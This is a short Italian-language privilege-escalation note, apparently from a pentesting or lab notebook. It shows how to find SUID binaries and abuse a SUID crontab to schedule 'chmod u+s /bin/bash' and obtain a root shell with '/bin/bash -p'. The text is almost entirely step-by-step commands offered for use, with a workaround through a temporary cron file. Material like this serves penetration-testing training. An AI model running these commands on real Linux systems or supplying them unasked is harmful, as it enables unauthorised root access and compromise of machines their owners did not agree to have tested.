tags Permessi_SUID privilage_escalation Linux_Privilage_Escalation Crontab_PrivEsc
Se tramite il comando:
find / -perm -4000 2>/dev/nullTroviamo :
/usr/bin/crontabPossiamo ottenere una reverse shell con privilegi di root, ci basta eseguire i seguenti comandi:
crontab -e
#All'interno del file incolliamo
* * * * * chmod u+s /bin/bashDovresti vedere un messaggio come crontab: installing new crontab.
Con il comando:
ls -l /bin/bashDovresti vedere che i permessi sono cambiati in -rwsr-xr-x. La s indica che il bit SUID è attivo.
Ora esegui:
/bin/bash -p
#Oppure
/bin/bash
Per ottenere una shell di root.
Problemi con Vim
Se l’edito Vim ti da problemi perchè non ti lascia salvare possiamo fare nel seguente modo:
echo "* * * * * chmod u+s /bin/bash" > /tmp/mycron
crontab /tmp/mycron
crontab -lDovresti vedere l’output * * * * * chmod u+s /bin/bash
rm /tmp/mycronRimuovi il file temporaneo
/bin/bash #Per ottenere la shell da root